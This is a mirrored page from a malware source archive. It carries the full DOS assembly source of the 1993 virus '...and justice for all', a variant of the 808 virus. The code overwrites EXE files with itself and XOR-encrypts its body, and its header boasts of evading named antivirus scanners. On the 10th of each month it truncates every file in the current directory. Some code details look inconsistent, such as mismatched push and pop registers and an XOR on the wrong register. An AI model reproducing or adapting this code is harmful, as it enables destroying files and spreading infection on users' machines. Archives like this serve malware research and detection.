mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-07-05 09:52:02 +00:00
335 lines
12 KiB
NASM
335 lines
12 KiB
NASM
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; Virusname: ...and justice for all
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; Country : Sweden
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; Author : Metal Militia / Immortal Riot
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; Date : 07-29-1993
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; This is an mutation of 808 virus by Skism in USA.
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; Many thanks to the scratch coder of the 808 virus.
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; We've tried this virus ourself, and it works just fine.
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; Infects one random EXE-file every run, by overwriting it
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; with the virus-code, and if the file is smaller, will "pad"
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; it out to the size of the virus anyhow.
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;
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; McAfee Scan v105 can't find it, and
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; S&S Toolkit 6.5 don't find it either.
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; I haven't tried with scanners like Fprot/Tbscan,
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; but they will probably report some virus structure.
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;
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; Best Regards : [Metal Militia]
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; [The Unforgiven]
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filename EQU 30 ;used to find file name
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fileattr EQU 21 ;used to find file attributes
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filedate EQU 24 ;used to find file date
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filetime EQU 22 ;used to find file time
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code_start EQU 0100h ;start of all .COM files
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virus_size EQU 808 ;TR 808
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code segment 'code'
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assume cs:code,ds:code,es:code
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org code_start
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main proc near
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jmp virus_start
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encrypt_val db 00h
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virus_start:
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call encrypt ;encrypt/decrypt file
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jmp virus ;go to start of code
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encrypt:
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push ax
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mov bx,offset virus_code ;start encryption at data
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xor_loop:
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mov ch,[bx] ;read current byte
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xor cl,encrypt_val ;get encryption key
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mov [bx],ch ;switch bytes
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inc bx ;move bx up a byte
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cmp bx,offset virus_code+virus_size
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;are we done with the encryption
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jle xor_loop ;no? keep going
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pop cx
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ret
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infectfile:
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mov dx,code_start ;where virus starts in memory
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mov bx,handle ;load bx with handle
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push bx ;save handle on stack
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call encrypt ;encrypt file
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pop bx ;get back bx
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mov cx,virus_size ;number of bytes to write
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mov ah,40h ;write to file
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int 21h ;
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push bx
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call encrypt ;fix up the mess
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pop bx
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ret
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virus_code:
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wildcards db "*",0 ;search for directory argument
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filespec db "*.EXE",0 ;search for EXE file argument
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filespec2 db "*.*",0 ;search fro all files argument
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rootdir db "\",0 ;argument for root directory
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dirdata db 43 dup (?) ;holds directory DTA
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filedata db 43 dup (?) ;holds files DTA
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diskdtaseg dw ? ;holds disk dta segment
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diskdtaofs dw ? ;holds disk dta offset
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tempofs dw ? ;holds offset
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tempseg dw ? ;holds segment
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drivecode db ? ;holds drive code
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currentdir db 64 dup (?) ;save current directory into this
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handle dw ? ;holds file handle
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orig_time dw ? ;holds file time
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orig_date dw ? ;holds file date
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orig_attr dw ? ;holds file attr
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idbuffer dw 2 dup (?) ;holds virus id
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virus:
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mov ax,3000h ;get dos version
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int 21h ;
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cmp al,02h ;is it at least 2.00?
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jb bus1 ;won't infect less than 2.00
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mov ah,2ch ;get time
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int 21h ;
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mov encrypt_val,dl ;save m_seconds to encrypt val so
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;theres 100 mutations possible
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setdta:
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mov dx,offset dirdata ;offset of where to hold new dta
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mov ah,1ah ;set dta address
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int 21h ;
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newdir:
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mov ah,19h ;get drive code
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int 21h ;
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mov dl,al ;save drivecode
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inc dl ;add one to dl, because functions differ
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mov ah,47h ;get current directory
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mov si, offset currentdir ;buffer to save directory in
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int 21h ;
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mov dx,offset rootdir ;move dx to change to root directory
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mov ah,3bh ;change directory to root
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int 21h ;
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scandirs:
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mov cx,13h ;include hidden/ro directorys
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mov dx, offset wildcards ;look for '*'
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mov ah,4eh ;find first file
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int 21h ;
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cmp ax,12h ;no first file?
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jne dirloop ;no dirs found? bail out
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bus1:
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jmp bus
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dirloop:
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mov ah,4fh ;find next file
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int 21h ;
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cmp ax,12h
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je bus ;no more dirs found, roll out
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chdir:
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mov dx,offset dirdata+filename;point dx to fcb - filename
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mov ah,3bh ;change directory
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int 21h ;
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mov ah,2fh ;get current dta address
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int 21h ;
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mov [diskdtaseg],es ;save old segment
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mov [diskdtaofs],bx ;save old offset
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mov dx,offset filedata ;offset of where to hold new dta
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mov ah,1ah ;set dta address
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int 21h ;
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scandir:
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mov cx,07h ;find any attribute
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mov dx,offset filespec ;point dx to "*.COM",0
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mov ah,4eh ;find first file function
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int 21h ;
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cmp ax,12h ;was file found?
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jne transform
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nextexe:
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mov ah,4fh ;find next file
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int 21h ;
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cmp ax,12h ;none found
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jne transform ;found see what we can do
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mov dx,offset rootdir ;move dx to change to root directory
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mov ah,3bh ;change directory to root
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int 21h ;
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mov ah,1ah ;set dta address
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mov ds,[diskdtaseg] ;restore old segment
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mov dx,[diskdtaofs] ;restore old offset
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int 21h ;
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jmp dirloop
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bus:
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jmp rollout
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transform:
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mov ah,2fh ;temporally store dta
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int 21h ;
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mov [tempseg],es ;save old segment
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mov [tempofs],bx ;save old offset
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mov dx, offset filedata + filename
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mov bx,offset filedata ;save file...
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mov ax,[bx]+filedate ;date
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mov orig_date,ax ;
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mov ax,[bx]+filetime ;time
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mov orig_time,ax ; and
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mov ax,[bx]+fileattr ;
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mov ax,4300h
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int 21h
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mov orig_attr,cx
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mov ax,4301h ;change attributes
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xor cx,cx ;clear attributes
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int 21h ;
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mov ax,3d00h ;open file - read
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int 21h ;
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jc fixup ;error - find another file
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mov handle,ax ;save handle
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mov ah,3fh ;read from file
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mov bx,handle ;move handle to bx
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mov cx,02h ;read 2 bytes
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mov dx,offset idbuffer ;save to buffer
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int 21h ;
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mov ah,3eh ;close file for now
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mov bx,handle ;load bx with handle
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int 21h ;
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mov bx, idbuffer ;fill bx with id string
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cmp bx,02ebh ;infected?
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jne doit ;same - find another file
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fixup:
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mov ah,1ah ;set dta address
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mov ds,[tempseg] ;restore old segment
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mov dx,[tempofs] ;restore old offset
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int 21h ;
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jmp nextexe
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doit:
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mov dx, offset filedata + filename
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mov ax,3d02h ;open file read/write access
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int 21h ;
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mov handle,ax ;save handle
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call infectfile
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;mov ax,3eh ;close file
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;int 21h
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rollout:
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mov ax,5701h ;restore original
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mov bx,handle ;
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mov cx,orig_time ;time and
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mov dx,orig_date ;date
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int 21h ;
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mov ax,4301h ;restore original attributes
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mov cx,orig_attr
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mov dx,offset filedata + filename
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int 21h
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;mov bx,handle
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;mov ax,3eh ;close file
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;int 21h
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mov ah,3bh ;try to fix this
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mov dx,offset rootdir ;for speed
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int 21h ;
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mov ah,3bh ;change directory
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mov dx,offset currentdir ;back to original
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int 21h ;
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mov ah,2ah ;check system date
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int 21h ;
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cmp cx,1993 ;is it at least 1993?
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jb audi ;no? don't do it now
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cmp dl,10 ;is it the 10th?
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jne audi ;not yet? quit
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mov dx,offset dirdata ;offset of where to hold new dta
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mov ah,1ah ;set dta address
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int 21h ;
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mov ah,4eh ;find first file
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mov cx,7h ;
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mov dx,offset filespec2 ;offset *.*
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Loops:
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int 21h ;
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jc audi ;error? then quit
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mov ax,4301h ;find all normal files
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xor cx,cx ;
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int 21h ;
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mov dx,offset dirdata + filename
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mov ah,3ch ;fuck up all files in current dir
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int 21h ;
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jc audi ;error? quit
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mov ah,4fh ;find next file
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jmp loops ;
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audi:
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mov ax,4c00h ;end program
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int 21h ;
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; Time changes, and so does the text..sorry Skism :)
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; but hey! Isn't this message much fanicer then the old ?
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; Yeah, right, Metal Up Your Ass!
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words_ db " Metal Militia / Immortal Riot",0
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words2 db " ...and Justice for all",0
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words3 db " Justice is lost",0
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db " Justice is raped",0
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db " Justice is gone",0
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db " Pulling your strings",0
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db " Seeking no truth",0
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db " Winning is all",0
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db " Find it so Grim",0
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db " so true",0
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db " so real",0
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; heh..what a lucky dog I'm, the new virus turned out to be 808 bytes,
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; which means exactly like the old one..(used tlink2 /t).
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main endp
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code ends
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end main
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